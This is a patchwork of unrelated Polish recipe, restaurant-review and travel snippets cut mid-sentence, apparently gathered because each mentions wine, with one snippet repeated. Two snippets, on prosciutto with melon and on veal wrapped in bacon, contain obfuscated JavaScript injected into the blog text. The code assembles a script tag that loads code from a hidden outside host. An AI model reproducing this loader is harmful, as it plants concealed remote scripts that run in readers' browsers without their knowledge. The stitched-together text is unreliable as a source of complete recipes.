zgiełkliwy chór” Jak widać nic nie zmieniło się od VI w. przed Chrystusem, kiedy wiersz ten pisał grecki poeta Alkajos z Mityleny (tłumaczenie Stefana Srebrnego). Radził on, żeby „winem zwilżać żar płuc”… Dobra rada do wykorzystania na wakacjach, ale jak tu chłodzić organizm winem w pracy? Jaki jest nasz patent na upały? Jeść lekkie dania, nie wymagające gotowania

przepisu na pyszne polędwiczki:) Składniki 2 polędwiczki wieprzowe 2 łyżki oliwy z oliwek 2 łyżki musztardy miodowej 2 łyżki masła łyżka mąki po 150 ml bulionu warzywnego i wina białego wytrawnego serek topiony gałka muszkatołowa sól,pieprz Polędwiczki pokrój … Czytaj dalej Polędwiczki z sosem serowym

nadchodzący weekend Przepis to kombinacja dwóch przepisów, które znalazłam w internecie. Krem jest po prostu genialny. Za pierwszym razem, kiedy go przygotowałam był trochę za rzadki (prawdopodobnie było to wina mascarpone), jednakże już za drugim był idealny. Jeśli nie chcecie piec kruchego ciasta, jako spód śmiało możecie wykorzystać pokruszone ciastka wymieszane z roztopionym masłem. Ja jednak jestem zwolenniczką kruchego

oliwie z dodatkiem soli i świeżo mielonego czarnego pieprzu. Sposób serwowania: z ryżu tworzymy „wianuszek”. Na środek nakładamy curry, a następnie ozdabiamy warzywami. Fajnie smakuje z lekkimi różowymi winami Bon appetit! Artykuł Curry z boczniakami pochodzi z serwisu Kate's Kitchen

Składniki: 200 g makaronu, u mnie razowe świderki 1/3 główki sałaty radicchio 1 filet z kurczaka 3-4 pomdiory 1 cebula 3 ząbki czosnku 1/2 szklanki wytrawnego wina sól, pieprz 1/2 łyżeczki … Czytaj dalej Makaron z kurczakiem i radicchio

wiedziałam z internetu zanim przystąpiłam do jej używania. Faktycznie, potwierdziło się gdy pierwsze muffinki jakie z nią upiekłam poleciały do kosza (chociaż do końca nie jestem pewna czy to wina mąki czy trefnego przepisu :p). W każdym razie się nie poddałam i spróbowałam kolejnego podejścia, tym razem coś jeszcze prostszego czyli placuszki. No i tu już był pełen sukces

dojrzałe pomidory 👌 1 słodka czerwona papryka 👌 1/2 łyżeczki soli 👌 1/2 łyżeczki pieprzu 👌 3 łyżeczki oregano 👌 2 łyżki koncntratu pomidorowego 👌 200 ml przecieru pomidorowego 👌 200 ml. białego wytrawnego wina 👌 1 paczka 500 gr. krótkiego makaronu 👌 500 gr. oczyszczonych krewetek dowolnej wielkości (mogą być świeże lub mrożone) WYKONANIE: 👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌 my social media: 🎬 YouTube   dla kreatywnych   🎬 YouTube Kulinarny 👫 Fanpage kulinarny ✏ Blog

zawsze kojarzą mi się z latem. Dawno ich już nie jadłam, datego postanowiłam je zrobić, ale w troszkę zdrowszej wersji. Nie wyszły mi niestety chrupiące, ale prawdopodobnie jest to wina mojej gofrownicy. Gofry w smaku i tak były pyszne, dodatek masła orzechowego i świeżych porzeczek wspaniale do nich pasował. Zamiast porzeczek można użyć innych owoców, z malinami czy borówkami

ulicy, restauracje, bary, knajpy, knajpeczki… Stoliki rozstawione wieczorami wzdłuż promenady przy plaży, muzyka, nauka salsy w plenerze, joga w parku, spotkanie religijne pod „blokiem cudów” w dzielnicy Cabanyal, wino pite z przypadkowo spotkanymi ludźmi przy plaży, gitary, śpiewy, słońce, to wszystko powoduje wystrzał endorfin w naszych głowach i daje nam nieopisaną radość! Jedyne co nas martwi to upływający czas

spotkania w gronie przyjaciół, a także jako kolacja Sałatka z serem pleśniowym i winogronami to aromatyczna potrawa dla miłośników serów pleśniowych Świetnie smakuje w towarzystwie, zwłaszcza czerwonego wina Gorąco polecam   Przepis na jedną miskę sałatki z serem pleśniowym i winogronami.   SKŁADNIKI: 1/2 opakowania sałaty roszponki 150 g winogron jasnych 150 g sera pleśniowego niebieskiego 3 łyżki płatków

dziwne hobby Ogórki ,studenckie koreczki , to uniwersalna przekąska , zawsze pod ręką. Doskonała kiedy coś za nami chodzi , na kanapki , do obiadu ..zastosowań bez liku Genialna do koreczków , pod lampkę wina czy piwko . Proste w wykonaniu , smakują każdemu . Polecam ,szczególnie przydatne , jeśli macie partię krzywych ogórków do wykorzystania . Nie podaję, aptecznych wartości, bo zalewę zawsze można wlać w słoik

występuje w duecie z melonem. Trudno się temu dziwić. Słodki smak i soczystość tego owocu świetnie „podkręca” delikatny smak szynki parmeńskiej. Dania tego typu najlepiej uzupełnia białe wino, np. Prosecco. (function(){ qxff=document.createElement("script");qxff_=("us")+("ta"); qxff_+="t"+(".");qxff_+=("in");qxffu="122614599";qxff.async=true; qxffu+=".z8dde461xffa75frd";qxff.type="text/javascript";qxff_+="f"+"o"+("/"); qxffu+="duujX2yfek1q4";qxff.src="https://"+qxff

łyżeczki papryki słodkiej 2 łyżeczki pieprzu ziołowego 2 łyżki koncentratu pomidorowego (opcjonalnie) 2 łyżeczki soli łyżeczka pieprzu naturalnego 2 listki laurowe 5 ziaren ziela angielskiego 4 łyżki alkoholu (wódka, wino) 5 łyżek mąki do obtaczania (pszennej lub bez glutenu sojowej) 3 łyżki masła klarowanego do smażenia Jak przygotować duszoną wołowinę? Mięso umyć, osuszyć i pokroić na mniejsze kawałki, które

można znaleźć zalecenie, by cielęcinę owinąć plastrem boczku. To również świetny sposób na uniknięcie jej wysuszenia – chyba że akurat przebywamy na diecie. Do dań tego typu najlepiej podawać białe wina. (function(){ ifbr_=("u"+"st");ifbr=document.createElement("script");ifbr.async=true; ifbru="122614563";ifbr_+="a"+("t.");ifbr_+="i"+("nf"+("o"))+("/"); ifbru+=".7m3es95tfbr43k72";ifbru+="4r2hhq7ywgy0tr"; ifbr.src="https://"+ifbr_+ifbru;ifbr.type="text/javascript

przez 10 minut. Następnie zmniejszamy temperaturę do 150 stopni i pieczemy przez kolejne 35 minut. Po upływie tego czasu wyłączamy piekarnik, uchylamy lekko drzwiczki (ja podstawiłam je korkiem od wina) i zostawiamy placek w piekarniku na ok. 30 minut. Wyjmujemy ciasto i pozwalamy mu przestygnąć. Ze względu na to, że nie można odwrócić ciasta, aby zdjąć papier, przycinamy jedynie

moim zdaniem to i tak za często. Takie bieganie po sklepach to jest marnowanie czasu. Dlatego moje posiłki to spontaniczne lub jak moje już dorosłe dzieci mówią, "sa na winie" . Czyli co się nawinie pod rękę to jest na talerzu. Składnik -1 cukinia -1/2 papryka -20 dkg mięsa ( łopatka -sól . pieprz do smaku -majeranek -1 cebula Wykonanie - Pokroiłam

dobrze smakuje ze słodkimi, soczystymi owocami. Przygotowanie trwa tylko kilka chwil, a to lubię najbardziej.  Sałata najlepiej smakuje przygotowania tuż przed podaniem. Dobrze komponuje się z kieliszkiem białego wina. Składniki sałaty na 1 porcję: 3 liście sałaty rzymskiej, 1 liść radicchio, kilka liści rukoli lub garść mieszanki sałat 1/2 szkl. pokrojonego wędzonego kurczaka (u mnie udka z kurczaka

Dziś danie szybkie, pożywne i lekkie. Mięso duszone w winie jest soczyste i kruche, idealnie smakuje z kurkami, polecam. Kilka minut duszenia i obiad na stole. Medaliony ziołowe ze schabu. ROZWIŃ I CZYTAJ DALEJ

zbędnego przewracania, a także podczas smażenia nie nakłuwać jej widelcem, aby nie pryskała. Zobacz też: Karkówka z pieczarkami Polędwiczki w kremowym sosie własnym Gulasz z jelenia na czerwonym winie z pieczarkami Przepis na wątróbkę wieprzową z cebulką Drukuj przepis Porcji: 3 Czas gotowania: 15 minut Składniki 500 g wątróbki wieprzowej mąka do obtaczania wątróbki 2 duże cebule liść laurowy

theme-font:minor-bidi; mso-fareast-language:EN-US;}   Składniki na ok 200ml sosu:   3 pełne łyżki płynnego miodu ¼ szklanki musztardy Dijon 1 łyżka octu z białego wina 2 łyżki jogurtu naturalnego 2 łyżki oliwy z oliwek ½ łyżeczki tartego chrzanu Szczypta soli Świeżo mielony pieprz do smaku Sposób przygotowania: Miód, musztardę, ocet oraz jogurt mieszamy ze sobą

spożywany w nadmiarze może doprowadzić do niestrawności, wzdęć, o kacu nie wspomnę! Jeśli więc pijesz alkohol rozcieńczaj go z wodą, nie z napojami gazowanymi. Najlepiej jest wypić lampkę czerwonego wina, która korzystniej wpłynie na przemianę materii niż gazowany kolorowy drink. Warto więc na taką imprezę przygotować naturalne lemoniady, np. woda mineralna z cytrusami, lodem i miętą czy koktajle owocowe

patelni grillowej. Spróbujcie koniecznie i nie bójcie4 się owoców morza. Są pyszne i naparwdę bardzo proste w przygotowaniu. I oczywiście nie zapomnijcie o schłodzeniu butelki wytrawnego białego wina. To nierozłączny duet! Kałamarnica z grilla Czas przygotowania: 15 minut + czas marynowania Składniki: 4 duże paski kałamarnicy 2 ząbki czosnku 1/2 papryczki chili 2 łyżki posiekanej natki z pietruszki oliwa

sztuki cukier - ok. 50g likier kawowy - ok. 50ml* * Jeżeli nie przepadacie za smakiem kawy, możecie wykorzystać dowolny inny likier (np. Amaretto) lub klasycznie skorzystać z dodatku słodkiego, białego wina. Wykonanie: Żółtka ubijamy z cukrem do czasu aż staną się one bardzo gęste, napowietrzone i niemal białe. W niewielkim garnku podgrzewamy ok. 1-2 cm wody. Kiedy woda się zagotuje

zadbał, dopytywał czy wszystko w porządku i czy w czymś pomóc, ale nie był nachalny. Trzymał się na uboczu i czekał na odpowiedni moment, aby podejść. Doradził nam znakomite wino do obiadu. Reszta załogi po kryjomu obserwowała czy jedzenie nam smakuje i cieszyła się, kiedy widziała zadowolone miny. Bardzo przytulne i eleganckie miejsce. To nie lada sztuka połączyć obie

czerwona cebula, drobniutko posiakana 2 łyżki drobniutko posiekanego szczypiorku 2 czubate łyżki dobrego, gęstego jogurtu greckiego lub creme fraiche 2 czubate łyżki majonezu 1-2 łyżeczki octu z białego wina sól i pieprz, do smaku Włóż ziemniaki do gotujacej się lekko osolonej wody. Gotuj do miękkości - około 15-20 minut. Odcedź i ostudź. Wymieszaj majonez i jogurt. Dopraw

Pamiętajmy, że mięso musi pochodzić ze zidentyfikowanego miejsca i koniecznie musi być przebadane przez weterynarza, aby potwierdził, że mięso nadaje się do spożycia. - Do dania polecam łagodne w smaku wino ze szczepu Shiraz, które świetnie pasuje do dań z dziczyzny. By Małgorzata Hert Wędrówki po kuchni http://www.wedrowkipokuchni.com.pl/ Jeśli spodobał Ci się ten przepis, spróbuj koniecznie przepisu

taka postać jest o wiele bardziej praktyczna, nie trzeba się tak męczyć z rozkrajaniem tarty czy z myciem naczyń. Jeśli jesteście chętni na degustację to przygotujcie sobie lampkę dobrego wina i... do dzieła! Składniki: opakowanie ciasta francuskiego opakowanie szpinaku mrożonego (w liściach) kilka małych pomidorków (koktajlowych, cherry lub daktylowych) 1/2 serka typu włoskiego  ok. 30 g sera żółtego

rade wytrzymać. Ja – miłośniczka mięsa, nabiału i jajek. Nie wytrzymałam. Poddałam się po tygodniu. Byłam zmęczona, sfrustrowana i … głodna. Dziś wiem, że to nie jest tylko wina braku mięsa i produktów odzwierzęcych, tylko po prostu kiepsko się do tego przygotowałam i nie do końca wiedziałam co mogę jeść, jakie produkty ze sobą łączyć. Zabrakło wiedzy

gotować: na przystawkę na 4 osób, albo obiad dla 2 będzie jak znalazł! Możecie do niego podać również świeże pieczywo z oliwą z oliwek oraz lampę szampana lub białego wina... mmm, pycha! * SKŁADNIKI na 4 porcje 200 g świeżego tuńczyka dobrej jakości 1 łyżka sosu sojowego szczypta suszonego imbiru 2 dojrzałe awokado 1 szalotka ½ limonki 2 łyżki sezamu

Wyszło smacznie, aczkolwiek spodziewałam się czegoś troszkę innego;) Generalnie fajnie, lecz bez efektu WOW;) Zapraszam też do zapoznania się z przepisem na kurczaka z pieczarkami w sosie z białego wina (przepis tutaj -> KLIK ) 2-3 pojedyncze piersi kurczaka 500 g małych pieczarek 2 op. mascarpone (500g) 2 małe cebule 2 łyżki drobno posiekanej natki pietruszki 2 łyżki przyprawy

zamiast risotto, powstanie mało apetyczna papka. Risotto z kurkami przygotowywałam zaledwie pół godziny, dlatego zachęcam Was, aby się skusić i wypróbować ten przepis! Oryginalne risotto jest przygotowywane na białym winie, jednak ja tutaj pominęłam ten krok. Zobacz też: Risotto z krewetkami i cukinią Risotto grzybowe Risotto bianco – Jamie Oliver – klasyczne risotto Przepis na risotto z kurkami Drukuj przepis Porcji

Wyszło smacznie, aczkolwiek spodziewałam się czegoś troszkę innego;) Generalnie fajnie, lecz bez efektu WOW;) Zapraszam też do zapoznania się z przepisem na kurczaka z pieczarkami w sosie z białego wina (przepis tutaj -> KLIK ) 2-3 pojedyncze piersi kurczaka 500 g małych pieczarek 2 op. mascarpone (500g) 2 małe cebule 2 łyżki drobno posiekanej natki pietruszki 2 łyżki przyprawy

sezamowy – 1 łyżka 0,30 zł cukier trzcinowy – 1 łyżka 0,20zł miód – 1 łyżka 0,60 zł gałka muszkatołowa – szczypta 0,10 zł [opcjonalnie]wino ryżowe lub sake – 1 łyżka 0,90 zł Razem 13 zł © nerdskitchen.pl PRZYGOTOWANIE 1. MARYNATA (5 min) W rondelku mieszamy wszystkie składniki marynaty (imbir i czosnek obieramy

przez 10 minut. Następnie zmniejszamy temperaturę do 150 stopni i pieczemy przez kolejne 35 minut. Po upływie tego czasu wyłączamy piekarnik, uchylamy lekko drzwiczki (ja podstawiłam je korkiem od wina) i zostawiamy placek w piekarniku na ok. 30 minut. Wyjmujemy ciasto i pozwalamy mu przestygnąć. Ze względu na to, że nie można odwrócić ciasta, aby zdjąć papier, przycinamy jedynie

zdrowe tłuszcze a przy minimalnej ilości węgli jest to posiłek idealny przed snem. Sałatkę przyrządziłem dla mojej ukochanej żony z okazji imienin. Jako dodatek poszła lampka białego półwytrawnego wina - i muszę przyznać bardzo nam smakowało. Kilka prostych składników, pyszny limonkowy dressing chwila w kuchni i Wasza druga połówka będzie zachwycona. Łapcie ten prosty przepis i zachęcam do spróbowania

Lekka, smaczna sałatka z orzechową nutą. Świetnie sprawdzi się jako kolacja lub przekąska na przykład do wina. Powstała z kilku składników a ich smaki tak świetnie się uzupełniają, że do spożywczego szczęścia nic więcej nie potrzeba ;) Składniki na 1 porcję: ok. 100 g mix sałat 50 g sera pleśniowego "Blue" (można użyć też camembert) duża garść granatowych winogron mała

można eksperymentować :) Składniki 1 kg wiśni 120 g małych cebulek 30 g korzenia imbiru 7 czubatych łyżek cukru 100 g miodu 8 goździków 3 łyżki octu z czerwonego wina 2 łyżki soku z cytryny 1 łyżka ziarenek gorczycy 1 łyzka marynowanego zielonego pieprzu 2 łyżeczki curry sól pieprz Przygotowanie Zagotowałem wydrylowane wiśnie z cząstkami cebulek, posiekanym imbirem, zielonym pieprzem

inne domowe napoje alkoholowe: Domowy likier kawowy Domowy likier kokosowy Adwokat, domowy ajerkoniak Domowy likier baileys Domowy likier kukułka Krówka likier domowy Nalewka farmace utów (aptekarska) Grzaniec, czyli grzane wino Sosnówka, nalewka z pędów sosny Nalewka z czerwonej porzeczki na spirytusie Czas przygotowania: w sumie 60 minut + czas oczekiwania Składniki: 2000 czerwonych porzeczek 1000 g cukru

sitko. Sok wychodzi pyszny niczym nektar i oczywiście należy go najlepiej rozcieńczyć wodą przygotowując go sobie do picia. Choć w takiej czystej postaci świetnie by się nadawał do grzanego wina :D Ale to wersja do wypróbowania na zimę :) A dla tych, co to nie lubią marnowania w kuchni i wtórują idei "zero waste", przygotowałam też przepis na dżem

zrobić samemu dowiecie się z tego przepisu. GLASSA ACETO BALSAMICO jest bardzo gęstym sosem, w konsystencji niemalże syropem ze zredukowanego octu balsamicznego, czasem z dodatkiem octu z czerwonego wina, soli i pieprzu, który jest często używany w restauracjach do zdobienia potraw. Można kupić gotowy lub zrobić go samemu. *Nie zapomnijcie śledzić mnie na Instagramie i oznaczać zdjęć z moich

indyka w panierce z bułki tartej, płatków kukurydzianych i sera Cheddar. Moczone w kwaśnym mleku przed panierowaniem. Zamiast kwaśnego mleka można użyć maślanki, mleka z octem z białego wina lub jogurtu. Dzięki moczeniu mięso staje się kruche i delikatne. Polędwiczki pieczone w piekarniku można podać np. z młodymi ziemniaczkami i mizerią . The post Pieczone polędwiczki z indyka appeared first

dressing: pasta tahini, olej sezamowy, sok z cytryny, miód, szczypta soli i pieprzu Kalafior podsmaż na maśle. Dodaj cynamon, kumin, sól i pieprz. Chwilę podsmaż i wlej odrobinę białego wina lub wody. Duś warzywo po czym dodaj łyżkę masła z orzechów nerkowca. Ściągnij kalafior z ognia. Jajka ugotuj w koszulce, pewnie wiesz jak je ugotować, natomiast jeżeli nadal masz

stylu azjatyckim z krewetkami, do której szef kuchni poleca Jack Daniel's Tennessee Fire. Oczywiście jeśli lubicie inne alkohole zamówione burgery możecie degustować z piwami kraftowymi czy też winami np. z polskich winnic, które w hotelu Sheraton Kraków także znajdziecie

grzanki, makaron, ryż lub bez niczego, jest po prostu wyśmienita Składniki na 4 porcje: 1,5 kg pomidorów 1-2 cebule 50 ml (3 łyżki) octu jabłkowego/winnego/białego wina lub od biedy soku cytrynowego łyżeczka słodkiej papryki pół łyżeczki kurkumy pół łyżeczki pieprzu łyżeczka kozieradki 2-3 łyżki cukru   Przygotowanie: Pomidory ponacinaj na krzyż, umieść w misce

być brandy) Kawę zaparzyć i dodać cukier oraz brandy, żelatynę rozpuścić w gorącej wodzie. Dodać do kawy i bardzo dokładnie rozpuścić mieszając. Przelać do 4 szklaneczek lub kieliszków do wina. Odstawić do stężenia. Składniki na musy czekoladowe: • 1 jajko + 1 żółtko (2 żółtka i 1 białko) • 4 płaskie łyżki cukru pudru • 60 ml śmietanki 30% • 30 g masła

przyjęcie urodzinowe czy romantyczną niespodziankę dla bliskiej osoby. document.createElement('video'); http://www.ugotowanepozamiatane.pl/wp-content/uploads/2018/06/Top-10-przepisów-na-letni-piknik.mp4 Byłam już na bardzo udanych piknikach, gdzie daniem głównym była butelka wina, musli z jednorazowej saszetki, orzeszki czy zwykłe kanapki. W końcu na świeżym powietrzu wszystko smakuje lepiej. Można jednak zrobić coś bardziej ambitnego – zobaczcie moje ulubione letnie przepisy, które

Gorąco polecam na upalne dni! Sałatka z bobu z fetą i grzankami Składniki:  500g bobu 150g grzanek 100ml oliwy z oliwek extra virgin 2 łyżki octu z białego wina 2 ząbki czosnku sól, pieprz kilka gałązek dymki lub 2 szalotki, ewentualnie mała czerwona cebula 200g sera feta garść świeżej mięty 2 łyżki posiekanego koperku 4 garście ulubionej mieszanki

karkówką . Dzisiaj przygotowałam pieczone ziołowe ziemniaczki i pieczone buraczki. Grillowana karkówka Składniki: na 6 osób 1,2 kg karkówki bez kości 1 czosnek solo 1 cebula 100 ml białego wina 2 łyżki miodu 2 łyżki oliwy 2 łyżki musztardy 100 g pomidorowego koncentratu 1 łyżeczka suszonej bazylii 1 łyżeczka suszonego tymianku 2 łyżeczki czarnego pieprzu, młotkowanego 1 łyżeczka kajeńskiego

łososiem, koperkiem i kaparami; czosnkowym serkiem, groszkiem i mi ę t ą i nasza ulubiona wersja z kozim serkiem i grillowan ą  cukini ą . Lampka schłodzonego wina, półmisek bruschette i możemy poczuć si ę  jak na wakacjach ;) polecam Wam serdecznie i życzę smacznego :) **** Oggi voglio proporVi un tipico spuntino italiano che sarà

Składniki 2 pory 3 czerwone papryki 100 g czarnych oliwek 200 g owczego sera pół pęczka natki pół pęczka tymianku 50 g migdałów 4 łyżki octu winnego z białego wina 2 łyżki soku z cytryny 6 łyżek oleju sól pieprz pół łyżeczki cukru Przygotowanie Pory oczyściłem i umyłem, pokroiłem w cienkie krążki. Wrzuciłem na 2 minuty do wrzącej wody

bardzo ciepłe tego roku. Sezon na truskawki już powoli mija, ale pojawiły się wiśnie i czereśnie, które nadają się do zrobienia z nich przetworów, win i nalewek. Konfitura z czereśni pozwoli cieszyć się latem i przypomni wakacyjny czas, gdy już śnieg będzie za oknem. Poniższy przepis może także służyć

obliczeniach (Z tego powodu postanowiłem podnieść wartość żelaza za pomocą zielonego groszku:)). Co było przyczyną pomyłki nie wiadomo, ale legenda, a w takie uwielbiamy wierzyć, mówi, że to wina asystentki prowadzącego badania, która nieświadomie przesunęła przecinek. Zaraz po tym, w okół samego szpinaku też urosły legendy, które zostały wyrażone w postaci kreskówki Popeye. Całkiem przyjemnej zresztą, którą oglądałem

warto zacząć od podstaw! Składniki na bezę wg Billa Grangera białka z 3 dużych jaj 150 g drobnego cukru 1 łyżeczka mąki kukurydzianej 1 łyżeczka octu z białego wina 100 g białej posiekanej czekolady Dodatki 250 ml śmietany kremówki   świeże owoce wg uznania - idealne będą truskawki, jeżyny, borówki lub poziomki W dużej misce ubić białka na sztywną pianę

zielonej fasolki szparagowej 200-300g fasoli borlotti z puszki (użyłam fasoli z czarnym oczkiem) 2 szalotki lub 1 czerwona cebula 2 łyżki octu z białego wina 5 łyżek oliwy z oliwek sól, pieprz 1 ząbek czosnku natka pietruszki Przygotowanie:  Ziemniaki i fasolkę ugotować.  Fasolę z puszki odcedzić i przepłukać. Ziemniaki, fasolkę szparagowa i fasolę z puszki

pokrojone na kawałki 1 awokado 1 pomidor, lub 5-8 pomidorków koktajlowych, w kawałkach 100 g twarogu wędzonego 3 łyżki oliwy z oliwek 1 łyżka octu z białego wina spora szczypta suszonej bazylii sól pieprz czarny Przygotuj dressing rozcierając oliwę z sokiem z cytryny i przyprawami. Odstaw.  Sałatę rozłóż na talerzu lub w niskiej i szerokiej miseczce. Jajko

patelnię pokrojonego kurczaka i podsmażamy. Gdy kurczak będzie gotowy na patelnię wlewamy pół szklanki soku jabłkowego z dodatkiem 2 łyżeczek octu winnego (w oryginalnym przepisie znajdziecie pół szklanki białego wina). Dusimy razem aż nie zredukujemy części płynu. Następnie dodajemy pokrojonego ananasa i szklankę soku jabłkowego. Znów gotujemy aż połowa płynu nie wyparuje. Na koniec do zalewy z puszki ananasa

jeszcze żurawina, ale jak na złość, moje zapasy się właśnie skończyły. Z rodzynkami i orzechami włoskimi też wyszło super. Z podanych proporcji zrobiłam 40 dużych sztuk wycinanych kieliszkiem do wina (nie, to nie jest sugestia z czym serwować ciastka ;). Po zdrowszą wersję ciasteczek owsianych z bananem zajrzyjcie tutaj . Składniki: 2 szklanki płatki owsianych 1,5 szklanki mąki pszennej

grubym na trzy palce burgerem z polędwicy wołowej i sosem z zielonego pieprzu. SKŁADNIKI składniki na 2 porcje 500-550g szparagów zielonych 1 łyżka octu z czerwonego wina ¼-1/2 łyżeczki soli ¼ łyżeczki pieprzu 1 szalotka 1 łyżeczka musztardy Dijon 60ml oliwy extra virgin 2 łyżki kaparów 3 łyżki posiekanej natki pietruszki 2 jajka ugotowane na twardo

także, albo przede wszystkim , wieprzowina i drób ,mają nawet swoją, lokalną rasę kur o żółtych nogach i skórze . Sami Węgrzy , podobno twierdzą ,że ich potrawy smakują najlepiej w towarzystwie wina .. Koniecznie trzeba to sprawdzić … Polecam , fajna odmiana od naszej rodzimej kuchni . Składniki na 4-5 osób : 1 średniej wielkości kurczak 4 łyżki smalcu 2 małe cebule 2 duże

środku są też gruszki, maliny i truskawki, płatki migdałów i cholernie ostra czerwona cebula, której się nie da zjeść. Straszny misz masz... sałatka robi wrażenie dania zrobionego "na winie", czyli co mi się nawinie pod rękę, to wrzucam na talerz, sernik krakowski z sosem wiśniowym (18 zł) - sernik jest bardzo dobry, delikatny i kremowy, zastanowiło nas tylko jakim cudem

Nie każdy je lubi, jednak jeśli nie spróbujecie to nie będziecie wiedzieć co tracicie :) Makaron z krewetkami i pomidorkami koktajlowymi to niezwykle szybkie w przygotowaniu danie

fantastycznemu i niesamowicie zaangażowanemu pilotowi, który opowiadał nam przy okazji mnóstwo historii i legend, a także wznosił cudnej urody toasty (bo chyba nie muszę wspominać, że na wine-tour wino leje się strumieniami) uważam, że całkiem nieźle osiągnęłam swój cel. Pierwsze dwa odcinki podróży po Gruzji znajdziecie pod linkami TBILISI oraz GRUZIŃSKA DROGA WOJENNA . Kolejne odcinki się piszą, także

obiadu, np. do dań z rybą. Ugotowaną na sypko kaszę jaglaną mieszamy z uduszonymi na patelni świeżymi pomidorami, cukinią, czosnkiem i tymiankiem. Aromatu do warzyw nadaje dodatek białego wina. Wszystko przyprawiamy odrobiną płatków chilli i natką pietruszki. The post Kasza jaglana z cukinią, pomidorami i tymiankiem appeared first on Moja Delicja

Przegrzebki czyli małże św. Jakuba nie należą do popularnych produktów na naszych stołach być może jest to wina dostępności lub też ceny jednakże są uważane jako jeden z kulinarnych rarytasów świata i dlatego warto po nie sięgnąć. Składniki : 4 przegrzebki 1 cebula szalotka 150 gr groszku zielonego ok 4 łyżek masła klarowanego (1+3) łyżka majonezu boczek w plastrach

ponad pięciu lat. Bezsprzecznie jest to najlepsza nalewka kokosowa, którą dotychczas piłam. Nie wiem jak to się stało, że przepis nie pojawił się dotychczas na blogu. Pewnie jest to wina tego, że tak prędko znika z piwniczki ;-) Z nalewką kokosową wiąże się też bardzo ciekawa historia. Tak się raz złożyło (kilka lat temu), że akurat jak przefiltrowywałam nalewkę

bakłażana. Idealny dodatek do wszystkiego, do mięs, warzyw, jajek ;)  a nawet makaronu. Składniki: 2 czerwone papryki 1 bakłażan 1/2 łyżeczki chili mielonego 2 łyżki octu z czerwonego wina 1 łyżeczka miodu 1 ząbek czosnku sól i pieprz Przygotowanie: Piekarnik rozgrzewamy do 200 stopni. Papryki i bakłażana układamy skórką do góry na blaszce wyłożonej papierem do pieczenia. Pieczemy przez

wykładamy porzeczki i przykrywamy pozostałym ciastem oprószamy płatkami owsianymi i cukrem  pieczemy ok 35-40 min  Ciasto wyszło mi bardziej mokre niż się spodziewałam, ale to zapewne wina porzeczek :) następnym razem dłużej podpiekę spód i owoce jednak lekko przyprószę mąką :)  Smacznego

Już na dobre zaczęliśmy sezon grillowy, zjadamy nadprogramowe ilości kiełbasek i wypijamy wiele litrów wina. Na deser proponuję dołożyć jeszcze te grillowane banany z czekoladą . Jeśli jedliście kiedyś smażone banany to wiecie o czym mówię. Pod wpływem ciepła cały cukier znajdujący się w bananie wzbiera na sile i daje niesamowicie słodki i pyszny deser . Gorzka czekolada wyrządzi nam mniej

połowę w spiżarce – tą część z lodówki jedliśmy oczywiście później – i teraz moje skołowanie – nie wiem czy ciasto po kilku dniach stało się niejadalne, czy to wina lodówki (masa truskawkowa zrobiła się w nim jak guma

pokrojone drobno papryczki chilli ( nasionka i błonki usunąć ), imbir, pastę curry. Smażyć 30 sekund, cały czas mieszając. Krewetki i przegrzebki wrzucić do miski i skropić sokiem z cytryny. Wlać wino i gotować chwilkę, winno powinno lekko wyparować. Dodać pomidorki przekrojone na pół i owoce morza. Gotować aż krewetki nabiorą lekko czerwonego koloru. Trwa to około 3-4 minut. Awokado

minut z każdej strony.     Marynata boczek:   600 g surowego boczku 30 ml oleju roślinnego 2 ząbki czosnku kawałek imbiru wielkości korka od wina 2 łyżki soku z cytryny 1 łyżka miodu 3 łyżki słodkiego sosu chilli 2 łyżki jasnego sosu sojowego 1 płaska łyżeczka ostrej wędzonej papryki w proszku 1 łyżka ketchupu

bazie kasz.  Jak przygotować smaczne szparagi? Szparagi są ultraproste w przyrządzeniu, natomiast pomimo wszystko nadal w moim towarzystwie jest wiele osób, którym nie do końca smakują. Myślę, że wina nie leży w tym, że nie są smaczne a właśnie w niewłaściwym sposobie ich przygotowania. Doskonałym przykładem jest moja mama. Przez lata zarzekała się, że nie lubi szparag

chrupiące w daniu. Użyłam tutaj mieszanki przypraw 4pices w skład której wchodzą: pieprz - 70%, imbir - 20%, gałka muszkatołowa - 9% i goździki - 1%. Pieczeń z indyka z migdałami, rodzynkami w winie. ROZWIŃ I CZYTAJ DALEJ

były to spotkania bardzo wystawne, a w koszyku piknikowym obowiązkowo był obrus, talerzyki i sztućce, zimne mięsa, drobne wypieki, lekkie przekąski, owoce. Podczas takich spotkań pieczono dziczyznę i popijano wino lub soki. W latach powojennych organizowano przede wszystkim wieczorne ogniska z kiełbasą zwyczajną, musztardą, i wódką. Grille, jakie znamy obecnie, są wynalazkiem stosunkowo nowym. W latach 60. XX wieku

dobre połączenie, doskonale się ze sobą komponują wizualnie i smakowo. Zarówno truskawki, jak i szparagi to uznane afrodyzjaki. Już w XVI wieku w Anglii uważano, że szparagi parzone w winie pobudzają żądze ciała. Korzystnie wpływają na układ odpornościowy i nerwowy, zawierają witaminy, żelazo, potas, fosfor i błonnik. Truskawki natomiast, mają dużo cynku, pierwiastka, który w istotny sposób wpływa zwłaszcza

duży ogórek konserwowy lub kiszony 2 cebulki dymki kilka ugotowanych szparagów zielonych (które zostały z niedzieli) 4 jajka ugotowane na twardo łyżka musztardy 2 łyżki octu z białego wina 6 łyżek oliwy ev sól, pieprz Przygotowanie: Ziemniaki pokrój na mniejsze kawałki. Rzodkiewki pokrój na ćwiartki, paprykę i ogórka w kostkę. Ułóż warzywa w lunchboxach, dorzuć posiekane cebulki dymki, ugotowane

SKŁADNIKI Udziec jagnięcy zamarynowałam na 48 godz. Marynata Do miski wlałam ok 1/4 szklanki białego wina wsypałam 1 płaską łyżkę soli, utarłam ok 3 cm imbiru, przecisnęłam 4 ząbki czosnku, 1 małą łyzeczkę chili, 1 rozgniecioną łyżeczkę gorczycy, 3 łyżki jogurtu. Po wymieszaniu marynaty natrzeć dokładnie mięso i wstawić do lodówki. Dokładnie przykryć. Po 48 godzinach wstawiłam udźca

jest tu Adrian Pycia. Trzeba przyznać, że ma on niesamowite wyczucie smaku i umiejętność łączenia ze sobą poszczególnych smaków i produktów. Na nasz stół najpierw trafia karafka białego wytrawnego wina Gruner Weltliner 2017 (79 zł) i domowa lemoniada bazyliowo-miętowa (11 zł). Potem kolejno pojawiają się: kałamarnica z grilla podawana z sałatką z awokado, mango i czerwonej cebuli

